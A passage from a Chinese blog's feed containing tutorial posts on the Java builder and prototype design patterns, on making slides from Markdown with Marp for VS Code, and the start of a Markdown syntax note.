接着,实现 `Director` 类,它负责定义构建过程的不同步骤:</span></pre></td></tr><tr><td data-num="100"></td><td><pre></pre></td></tr><tr><td data-num="101"></td><td><pre><span class="token keyword">public</span> <span class="token keyword">class</span> <span class="token class-name">Director</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="102"></td><td><pre> <span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">constructSportsCar</span><span class="token punctuation">(</span><span class="token class-name">Builder</span> builder<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="103"></td><td><pre> builder<span class="token punctuation">.</span><span class="token function">reset</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="104"></td><td><pre> builder<span class="token punctuation">.</span><span class="token function">setSeats</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="105"></td><td><pre> builder<span class="token punctuation">.</span><span class="token function">setEngine</span><span class="token punctuation">(</span><span class="token string">"SportEngine"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="106"></td><td><pre> builder<span class="token punctuation">.</span><span class="token function">setTripComputer</span><span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="107"></td><td><pre> builder<span class="token punctuation">.</span><span class="token function">setGPS</span><span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="108"></td><td><pre> <span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="109"></td><td><pre></pre></td></tr><tr><td data-num="110"></td><td><pre> <span class="token comment">// 这里可以添加更多的方法来构建不同类型的汽车</span></pre></td></tr><tr><td data-num="111"></td><td><pre><span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="112"></td><td><pre></pre></td></tr><tr><td data-num="113"></td><td><pre><span class="token comment">// 最后是客户端代码,它演示了如何使用这些类来构建产品:</span></pre></td></tr><tr><td data-num="114"></td><td><pre></pre></td></tr><tr><td data-num="115"></td><td><pre><span class="token keyword">public</span> <span class="token keyword">class</span> <span class="token class-name">Application</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="116"></td><td><pre> <span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">void</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token class-name">String</span><span class="token punctuation">[</span><span class="token punctuation">]</span> args<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="117"></td><td><pre> <span class="token class-name">Director</span> director <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Director</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="118"></td><td><pre></pre></td></tr><tr><td data-num="119"></td><td><pre> <span class="token class-name">CarBuilder</span> carBuilder <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">CarBuilder</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="120"></td><td><pre> director<span class="token punctuation">.</span><span class="token function">constructSportsCar</span><span class="token punctuation">(</span>carBuilder<span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="121"></td><td><pre> <span class="token class-name">Car</span> car <span class="token operator">=</span> carBuilder<span class="token punctuation">.</span><span class="token function">getProduct</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="122"></td><td><pre></pre></td></tr><tr><td data-num="123"></td><td><pre> <span class="token class-name">CarManualBuilder</span> manualBuilder <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">CarManualBuilder</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="124"></td><td><pre> director<span class="token punctuation">.</span><span class="token function">constructSportsCar</span><span class="token punctuation">(</span>manualBuilder<span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="125"></td><td><pre> <span class="token class-name">Manual</span> manual <span class="token operator">=</span> manualBuilder<span class="token punctuation">.</span><span class="token function">getProduct</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="126"></td><td><pre></pre></td></tr><tr><td data-num="127"></td><td><pre> <span class="token comment">// 在这里,car 和 manual 是根据相同的构建过程创建的,</span></pre></td></tr><tr><td data-num="128"></td><td><pre> <span class="token comment">// 但它们是完全不同的产品。</span></pre></td></tr><tr><td data-num="129"></td><td><pre> <span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="130"></td><td><pre><span class="token punctuation">&#125;</span></pre></td></tr></table></figure><p>这段 Java 代码展示了如何实现生成器模式,其中包括创建复杂对象的过程,使得最终产品的构建与其表示分离,允许相同的构建过程创建不同的表示。</p>
<h2 id="原型模式"><a class="anchor" href="#原型模式">#</a> 原型模式</h2>
<ul>
<li>
<p>复制已有对象</p>
</li>
<li>
<p>当直接创建对象的代价比较大时,则采用这种模式。</p>
</li>
<li>
<p>Java 中,原型模式通常通过实现 <code>Cloneable</code> 接口并重写 <code>Object</code> 类的 <code>clone()</code> 方法来实现。</p>
</li>
</ul>
<figure class="highlight java"><figcaption data-lang="java"></figcaption><table><tr><td data-num="1"></td><td><pre><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>util<span class="token punctuation">.</span></span><span class="token class-name">HashMap</span></span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="2"></td><td><pre><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>util<span class="token punctuation">.</span></span><span class="token class-name">Map</span></span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="3"></td><td><pre></pre></td></tr><tr><td data-num="4"></td><td><pre><span class="token comment">// 抽象类实现 Cloneable 接口</span></pre></td></tr><tr><td data-num="5"></td><td><pre><span class="token keyword">abstract</span> <span class="token keyword">class</span> <span class="token class-name">Shape</span> <span class="token keyword">implements</span> <span class="token class-name">Cloneable</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="6"></td><td><pre> <span class="token keyword">private</span> <span class="token class-name">String</span> id<span class="token punctuation">;</span></pre></td></tr><tr><td data-num="7"></td><td><pre> <span class="token keyword">protected</span> <span class="token class-name">String</span> type<span class="token punctuation">;</span></pre></td></tr><tr><td data-num="8"></td><td><pre></pre></td></tr><tr><td data-num="9"></td><td><pre> <span class="token keyword">abstract</span> <span class="token keyword">void</span> <span class="token function">draw</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="10"></td><td><pre></pre></td></tr><tr><td data-num="11"></td><td><pre> <span class="token keyword">public</span> <span class="token class-name">String</span> <span class="token function">getType</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="12"></td><td><pre> <span class="token keyword">return</span> type<span class="token punctuation">;</span></pre></td></tr><tr><td data-num="13"></td><td><pre> <span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="14"></td><td><pre></pre></td></tr><tr><td data-num="15"></td><td><pre> <span class="token keyword">public</span> <span class="token class-name">String</span> <span class="token function">getId</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="16"></td><td><pre> <span class="token keyword">return</span> id<span class="token punctuation">;</span></pre></td></tr><tr><td data-num="17"></td><td><pre> <span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="18"></td><td><pre></pre></td></tr><tr><td data-num="19"></td><td><pre> <span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">setId</span><span class="token punctuation">(</span><span class="token class-name">String</span> id<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="20"></td><td><pre> <span class="token keyword">this</span><span class="token punctuation">.</span>id <span class="token operator">=</span> id<span class="token punctuation">;</span></pre></td></tr><tr><td data-num="21"></td><td><pre> <span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="22"></td><td><pre></pre></td></tr><tr><td data-num="23"></td><td><pre> <span class="token keyword">public</span> <span class="token class-name">Object</span> <span class="token function">clone</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="24"></td><td><pre> <span class="token class-name">Object</span> clone <span class="token operator">=</span> <span class="token keyword">null</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="25"></td><td><pre> <span class="token keyword">try</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="26"></td><td><pre> clone <span class="token operator">=</span> <span class="token keyword">super</span><span class="token punctuation">.</span><span class="token function">clone</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="27"></td><td><pre> <span class="token punctuation">&#125;</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span><span class="token class-name">CloneNotSupportedException</span> e<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="28"></td><td><pre> e<span class="token punctuation">.</span><span class="token function">printStackTrace</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="29"></td><td><pre> <span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="30"></td><td><pre> <span class="token keyword">return</span> clone<span class="token punctuation">;</span></pre></td></tr><tr><td data-num="31"></td><td><pre> <span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="32"></td><td><pre><span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="33"></td><td><pre></pre></td></tr><tr><td data-num="34"></td><td><pre><span class="token comment">// 具体的形状类</span></pre></td></tr><tr><td data-num="35"></td><td><pre><span class="token keyword">class</span> <span class="token class-name">Rectangle</span> <span class="token keyword">extends</span> <span class="token class-name">Shape</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="36"></td><td><pre> <span class="token keyword">public</span> <span class="token class-name">Rectangle</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="37"></td><td><pre> type <span class="token operator">=</span> <span class="token string">"Rectangle"</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="38"></td><td><pre> <span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="39"></td><td><pre></pre></td></tr><tr><td data-num="40"></td><td><pre> <span class="token annotation punctuation">@Override</span></pre></td></tr><tr><td data-num="41"></td><td><pre> <span class="token keyword">void</span> <span class="token function">draw</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="42"></td><td><pre> <span class="token class-name">System</span><span class="token punctuation">.</span>out<span class="token punctuation">.</span><span class="token function">println</span><span class="token punctuation">(</span><span class="token string">"Inside Rectangle::draw() method."</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="43"></td><td><pre> <span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="44"></td><td><pre><span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="45"></td><td><pre></pre></td></tr><tr><td data-num="46"></td><td><pre><span class="token keyword">class</span> <span class="token class-name">Circle</span> <span class="token keyword">extends</span> <span class="token class-name">Shape</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="47"></td><td><pre> <span class="token keyword">public</span> <span class="token class-name">Circle</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="48"></td><td><pre> type <span class="token operator">=</span> <span class="token string">"Circle"</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="49"></td><td><pre> <span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="50"></td><td><pre></pre></td></tr><tr><td data-num="51"></td><td><pre> <span class="token annotation punctuation">@Override</span></pre></td></tr><tr><td data-num="52"></td><td><pre> <span class="token keyword">void</span> <span class="token function">draw</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="53"></td><td><pre> <span class="token class-name">System</span><span class="token punctuation">.</span>out<span class="token punctuation">.</span><span class="token function">println</span><span class="token punctuation">(</span><span class="token string">"Inside Circle::draw() method."</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="54"></td><td><pre> <span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="55"></td><td><pre><span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="56"></td><td><pre></pre></td></tr><tr><td data-num="57"></td><td><pre><span class="token comment">// 缓存类</span></pre></td></tr><tr><td data-num="58"></td><td><pre><span class="token keyword">class</span> <span class="token class-name">ShapeCache</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="59"></td><td><pre> <span class="token keyword">private</span> <span class="token keyword">static</span> <span class="token class-name">Map</span><span class="token generics"><span class="token punctuation">&lt;</span><span class="token class-name">String</span><span class="token punctuation">,</span> <span class="token class-name">Shape</span><span class="token punctuation">></span></span> shapeMap <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">HashMap</span><span class="token generics"><span class="token punctuation">&lt;</span><span class="token punctuation">></span></span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="60"></td><td><pre></pre></td></tr><tr><td data-num="61"></td><td><pre> <span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token class-name">Shape</span> <span class="token function">getShape</span><span class="token punctuation">(</span><span class="token class-name">String</span> shapeId<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="62"></td><td><pre> <span class="token class-name">Shape</span> cachedShape <span class="token operator">=</span> shapeMap<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span>shapeId<span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="63"></td><td><pre> <span class="token keyword">return</span> <span class="token punctuation">(</span><span class="token class-name">Shape</span><span class="token punctuation">)</span> cachedShape<span class="token punctuation">.</span><span class="token function">clone</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="64"></td><td><pre> <span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="65"></td><td><pre></pre></td></tr><tr><td data-num="66"></td><td><pre> <span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">void</span> <span class="token function">loadCache</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="67"></td><td><pre> <span class="token class-name">Circle</span> circle <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Circle</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="68"></td><td><pre> circle<span class="token punctuation">.</span><span class="token function">setId</span><span class="token punctuation">(</span><span class="token string">"1"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="69"></td><td><pre> shapeMap<span class="token punctuation">.</span><span class="token function">put</span><span class="token punctuation">(</span>circle<span class="token punctuation">.</span><span class="token function">getId</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> circle<span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="70"></td><td><pre></pre></td></tr><tr><td data-num="71"></td><td><pre> <span class="token class-name">Rectangle</span> rectangle <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Rectangle</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="72"></td><td><pre> rectangle<span class="token punctuation">.</span><span class="token function">setId</span><span class="token punctuation">(</span><span class="token string">"2"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="73"></td><td><pre> shapeMap<span class="token punctuation">.</span><span class="token function">put</span><span class="token punctuation">(</span>rectangle<span class="token punctuation">.</span><span class="token function">getId</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> rectangle<span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="74"></td><td><pre> <span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="75"></td><td><pre><span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="76"></td><td><pre></pre></td></tr><tr><td data-num="77"></td><td><pre><span class="token comment">// 客户端代码</span></pre></td></tr><tr><td data-num="78"></td><td><pre><span class="token keyword">public</span> <span class="token keyword">class</span> <span class="token class-name">PrototypePatternDemo</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="79"></td><td><pre> <span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">void</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token class-name">String</span><span class="token punctuation">[</span><span class="token punctuation">]</span> args<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="80"></td><td><pre> <span class="token class-name">ShapeCache</span><span class="token punctuation">.</span><span class="token function">loadCache</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="81"></td><td><pre></pre></td></tr><tr><td data-num="82"></td><td><pre> <span class="token class-name">Shape</span> clonedShape1 <span class="token operator">=</span> <span class="token class-name">ShapeCache</span><span class="token punctuation">.</span><span class="token function">getShape</span><span class="token punctuation">(</span><span class="token string">"1"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="83"></td><td><pre> <span class="token class-name">System</span><span class="token punctuation">.</span>out<span class="token punctuation">.</span><span class="token function">println</span><span class="token punctuation">(</span><span class="token string">"Shape : "</span> <span class="token operator">+</span> clonedShape1<span class="token punctuation">.</span><span class="token function">getType</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="84"></td><td><pre></pre></td></tr><tr><td data-num="85"></td><td><pre> <span class="token class-name">Shape</span> clonedShape2 <span class="token operator">=</span> <span class="token class-name">ShapeCache</span><span class="token punctuation">.</span><span class="token function">getShape</span><span class="token punctuation">(</span><span class="token string">"2"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="86"></td><td><pre> <span class="token class-name">System</span><span class="token punctuation">.</span>out<span class="token punctuation">.</span><span class="token function">println</span><span class="token punctuation">(</span><span class="token string">"Shape : "</span> <span class="token operator">+</span> clonedShape2<span class="token punctuation">.</span><span class="token function">getType</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="87"></td><td><pre> <span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="88"></td><td><pre><span class="token punctuation">&#125;</span></pre></td></tr></table></figure><p>这段代码展示了原型设计模式的核心:通过克隆现有对象来创建新对象,从而避免了通过 new 关键字创建对象带来的成本。这里, <code>Shape</code> 抽象类实现了 <code>Cloneable</code> 接口,允许其子类 <code>Rectangle</code> 和 <code>Circle</code> 被克隆。 <code>ShapeCache</code> 类用于预存储和克隆形状对象,而客户端代码演示了如何从缓存中获取并使用这些克隆对象。</p>
<h1 id="end"><a class="anchor" href="#end">#</a> end</h1>
</content>
<category term="Note" scheme="https://vkkkv.github.io/categories/Note/" />
<category term="Design Patterns" scheme="https://vkkkv.github.io/categories/Note/Design-Patterns/" />
<category term="Design Patterns" scheme="https://vkkkv.github.io/tags/Design-Patterns/" />
<updated>2024-02-01T09:38:54.000Z</updated>
</entry>
<entry>
<id>https://vkkkv.github.io/2024/01/31/technology/marp/</id>
<title>用Markdown制作PPT</title>
<link rel="alternate" href="https://vkkkv.github.io/2024/01/31/technology/marp/"/>
<content type="html"><h1 id="使用-marp-for-vs-code-将-markdown-转换为-ppt"><a class="anchor" href="#使用-marp-for-vs-code-将-markdown-转换为-ppt">#</a> 使用 <code>Marp for VS Code</code> 将 <code>Markdown</code> 转换为 <code>PPT</code></h1>
<p><code>Markdown</code> 是一种轻量级标记语言,广泛用于撰写文档和笔记。</p>
<p><code>VSCode</code> 是一个功能丰富的代码编辑器,它支持许多插件,包括 Marp,可以将 <code>Markdown</code> 文档转换为演示文稿。</p>
<h2 id="安装和设置"><a class="anchor" href="#安装和设置">#</a> 安装和设置</h2>
<ol>
<li><strong>打开 <code>VSCode</code> </strong></li>
<li><strong>安装 <code>Marp for VS Code</code> 扩展</strong></li>
</ol>
<h2 id="创建-marp-演示文稿"><a class="anchor" href="#创建-marp-演示文稿">#</a> 创建 Marp 演示文稿</h2>
<ol>
<li><strong>新建一个 <code>Markdown</code> 文件</strong></li>
<li><strong>启用 Marp</strong>:在文件的顶部添加 <code>YAML </code> Front Matter``:</li>
</ol>
<figure class="highlight markdown"><figcaption data-lang="markdown"></figcaption><table><tr><td data-num="1"></td><td><pre><span class="token front-matter-block"><span class="token punctuation">---</span></pre></td></tr><tr><td data-num="2"></td><td><pre><span class="token front-matter yaml language-yaml"><span class="token key atrule">marp</span><span class="token punctuation">:</span> <span class="token boolean important">true</span></span></pre></td></tr><tr><td data-num="3"></td><td><pre><span class="token punctuation">---</span></span></pre></td></tr></table></figure><ol start="3">
<li><strong>撰写幻灯片</strong>:每页幻灯片由一个 <code>---</code> 分隔,在单页顶部使用 <code>&lt;!-- --&gt;</code> 修改局部配置,语法支持 <code>markdown</code> 。</li>
</ol>
<h3 id="常用front-matter"><a class="anchor" href="#常用front-matter">#</a> 常用 <code>Front Matter</code> :</h3>
<figure class="highlight yaml"><figcaption data-lang="YAML"></figcaption><table><tr><td data-num="1"></td><td><pre><span class="token punctuation">---</span></pre></td></tr><tr><td data-num="2"></td><td><pre><span class="token key atrule">marp</span><span class="token punctuation">:</span> <span class="token boolean important">true</span></pre></td></tr><tr><td data-num="3"></td><td><pre>&lt;<span class="token tag">!--</span> 设置主题 <span class="token punctuation">-</span><span class="token punctuation">-</span><span class="token punctuation">></span></pre></td></tr><tr><td data-num="4"></td><td><pre><span class="token key atrule">theme</span><span class="token punctuation">:</span> </pre></td></tr><tr><td data-num="5"></td><td><pre>&lt;<span class="token tag">!--</span> 显示页码 <span class="token punctuation">-</span><span class="token punctuation">-</span><span class="token punctuation">></span></pre></td></tr><tr><td data-num="6"></td><td><pre><span class="token key atrule">paginate</span><span class="token punctuation">:</span> <span class="token boolean important">true</span></pre></td></tr><tr><td data-num="7"></td><td><pre>&lt;<span class="token tag">!--</span> 全局background <span class="token punctuation">-</span><span class="token punctuation">-</span><span class="token punctuation">></span></pre></td></tr><tr><td data-num="8"></td><td><pre><span class="token key atrule">backgroundColor</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="9"></td><td><pre><span class="token key atrule">backgroundImage</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="10"></td><td><pre>&lt;<span class="token tag">!--</span> 页眉 <span class="token punctuation">-</span><span class="token punctuation">-</span><span class="token punctuation">></span></pre></td></tr><tr><td data-num="11"></td><td><pre><span class="token key atrule">header</span><span class="token punctuation">:</span> </pre></td></tr><tr><td data-num="12"></td><td><pre>&lt;<span class="token tag">!--</span> 页脚 <span class="token punctuation">-</span><span class="token punctuation">-</span><span class="token punctuation">></span></pre></td></tr><tr><td data-num="13"></td><td><pre><span class="token key atrule">footer</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="14"></td><td><pre><span class="token punctuation">---</span></pre></td></tr></table></figure><p><code>for example</code> :</p>
<figure class="highlight markdown"><figcaption data-lang="markdown"><span>partOfcodeFrom=></span><span class="exturl" data-url="aHR0cHM6Ly9tYXJwLmFwcC8jZ2V0LXN0YXJ0ZWQ=">officialWebsite</span></figcaption><table><tr><td data-num="1"></td><td><pre><span class="token hr punctuation">---</span></pre></td></tr><tr><td data-num="2"></td><td><pre> marp: true</pre></td></tr><tr><td data-num="3"></td><td><pre> theme: gaia</pre></td></tr><tr><td data-num="4"></td><td><pre> _class: lead</pre></td></tr><tr><td data-num="5"></td><td><pre> paginate: true</pre></td></tr><tr><td data-num="6"></td><td><pre> backgroundImage: url('https://marp.app/assets/hero-background.svg')</pre></td></tr><tr><td data-num="7"></td><td><pre> <span class="token hr punctuation">---</span></pre></td></tr><tr><td data-num="8"></td><td><pre></pre></td></tr><tr><td data-num="9"></td><td><pre><span class="token code keyword"> ![bg left:40% 80%](https://marp.app/assets/marp.svg)</span></pre></td></tr><tr><td data-num="10"></td><td><pre></pre></td></tr><tr><td data-num="11"></td><td><pre><span class="token code keyword"> # **Marp**</span></pre></td></tr><tr><td data-num="12"></td><td><pre></pre></td></tr><tr><td data-num="13"></td><td><pre><span class="token code keyword"> `Markdown` Presentation Ecosystem</span></pre></td></tr><tr><td data-num="14"></td><td><pre></pre></td></tr><tr><td data-num="15"></td><td><pre><span class="token code keyword"> https://marp.app/</span></pre></td></tr><tr><td data-num="16"></td><td><pre></pre></td></tr><tr><td data-num="17"></td><td><pre><span class="token code keyword"> ---</span></pre></td></tr><tr><td data-num="18"></td><td><pre> <span class="token comment">&lt;!-- _header: header --></span></pre></td></tr><tr><td data-num="19"></td><td><pre></pre></td></tr><tr><td data-num="20"></td><td><pre><span class="token code keyword"> # title</span></pre></td></tr><tr><td data-num="21"></td><td><pre></pre></td></tr><tr><td data-num="22"></td><td><pre><span class="token code keyword"> ```java</pre></td></tr><tr><td data-num="23"></td><td><pre> class HelloWorld &#123;</pre></td></tr><tr><td data-num="24"></td><td><pre> public static void main(String[] args) &#123;</pre></td></tr><tr><td data-num="25"></td><td><pre> System.out.println("Hello, world.");</pre></td></tr><tr><td data-num="26"></td><td><pre> &#125;</pre></td></tr><tr><td data-num="27"></td><td><pre> &#125;</pre></td></tr><tr><td data-num="28"></td><td><pre> ```</span></pre></td></tr></table></figure><p><img data-src="https://s2.loli.net/2024/01/31/qnQA7gk2vw59JbF.png" alt="Alt text" /></p>
<h2 id="配置directives"><a class="anchor" href="#配置directives">#</a> 配置 <code>directives</code></h2>
<p>局部设置有 <code>local</code> 和 <code>spot</code> 两种。</p>
<p>常用的是 <code>spot</code> ,用来设置单页的页眉。用法如下:</p>
<figure class="highlight markdown"><figcaption data-lang="markdown"><span>格式</span></figcaption><table><tr><td data-num="1"></td><td><pre><span class="token comment">&lt;!-- _header: 小标题 --></span></pre></td></tr></table></figure><h2 id="配置themes"><a class="anchor" href="#配置themes">#</a> 配置 <code>themes</code></h2>
<p>配置项:</p>
<figure class="highlight json"><figcaption data-lang="JSON"></figcaption><table><tr><td data-num="1"></td><td><pre><span class="token property">"markdown.marp.themes"</span><span class="token operator">:</span> <span class="token punctuation">[</span></pre></td></tr><tr><td data-num="2"></td><td><pre> <span class="token string">"yourlocalpathOrurl/yourthemes.css"</span><span class="token punctuation">,</span></pre></td></tr><tr><td data-num="3"></td><td><pre> <span class="token string">"another"</span></pre></td></tr><tr><td data-num="4"></td><td><pre><span class="token punctuation">]</span></pre></td></tr></table></figure><h2 id="导出"><a class="anchor" href="#导出">#</a> 导出</h2>
<ol>
<li>
<p><strong>预览演示文稿</strong>:点击右上角的预览图标</p>
</li>
<li>
<p><strong>导出为 <code>PPT</code> </strong>:点击右上角 Marp 图标,然后选择 export slide deck 导出为 <code>ppt</code> x。</p>
</li>
</ol>
<h1 id="end"><a class="anchor" href="#end">#</a> end</h1>
<p>推荐一个好看的主题<span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL2Zhdm91cmhvbmcvQXdlc29tZS1NYXJw"> Awesome-Marp</span></p>
<p>更多 marp 信息查看<span class="exturl" data-url="aHR0cHM6Ly9tYXJwaXQubWFycC5hcHAvJTYwZGlyZWN0aXZlcyU2MD9pZD0lNjBkaXJlY3RpdmVzJTYw"> Marpit documentation</span></p>
</content>
<category term="technology" scheme="https://vkkkv.github.io/categories/technology/" />
<category term="markdown" scheme="https://vkkkv.github.io/tags/markdown/" />
<category term="marp" scheme="https://vkkkv.github.io/tags/marp/" />
<updated>2024-01-31T09:10:32.000Z</updated>
</entry>
<entry>
<id>https://vkkkv.github.io/2024/01/29/technology/markdownNote/</id>
<title>markdown语法和部分主题扩展</title>
<link rel="alternate" href="https://vkkkv.github.io/2024/01/29/technology/markdownNote/"/>
<content type="html"><h1 id="原生语法"><a class="anchor" href="#原生语法">#</a> 原生语法</h1>
<figure class="highlight markdown"><figcaption data-lang="markdown"><span>n</span></figcaption><table><tr><td data-num="1"></td><td><pre><span class="token title important"><span class="token punctuation">#</span> this is h1</span></pre></td></tr><tr><td data-num="2"></td><td><pre></pre></td></tr><tr><td data-num="3"></td><td><pre><span class="token code-snippet code keyword">`this is code `</span></pre></td></tr><tr><td data-num="4"></td><td><pre></pre></td></tr><tr><td data-num="5"></td><td><pre><span class="token blockquote punctuation">></span> this is block quote</pre></td></tr><tr><td data-num="6"></td><td><pre></pre></td></tr><tr><td data-num="7"></td><td><pre><span class="token bold"><span class="token punctuation">**</span><span class="token content">this is b</span><span class="token punctuation">**</span></span></pre></td></tr><tr><td data-num="8"></td><td><pre></pre></td></tr><tr><td data-num="9"></td><td><pre><span class="token italic"><span class="token punctuation">*</span><span class="token content">this is i</span><span class="token punctuation">*</span></span></pre></td></tr><tr><td data-num="10"></td><td><pre></pre></td></tr><tr><td data-num="11"></td><td><pre><span class="token strike"><span class="token punctuation">~~</span><span class="token content">中划线</span><span class="token punctuation">~~</span></span></pre></td></tr><tr><td 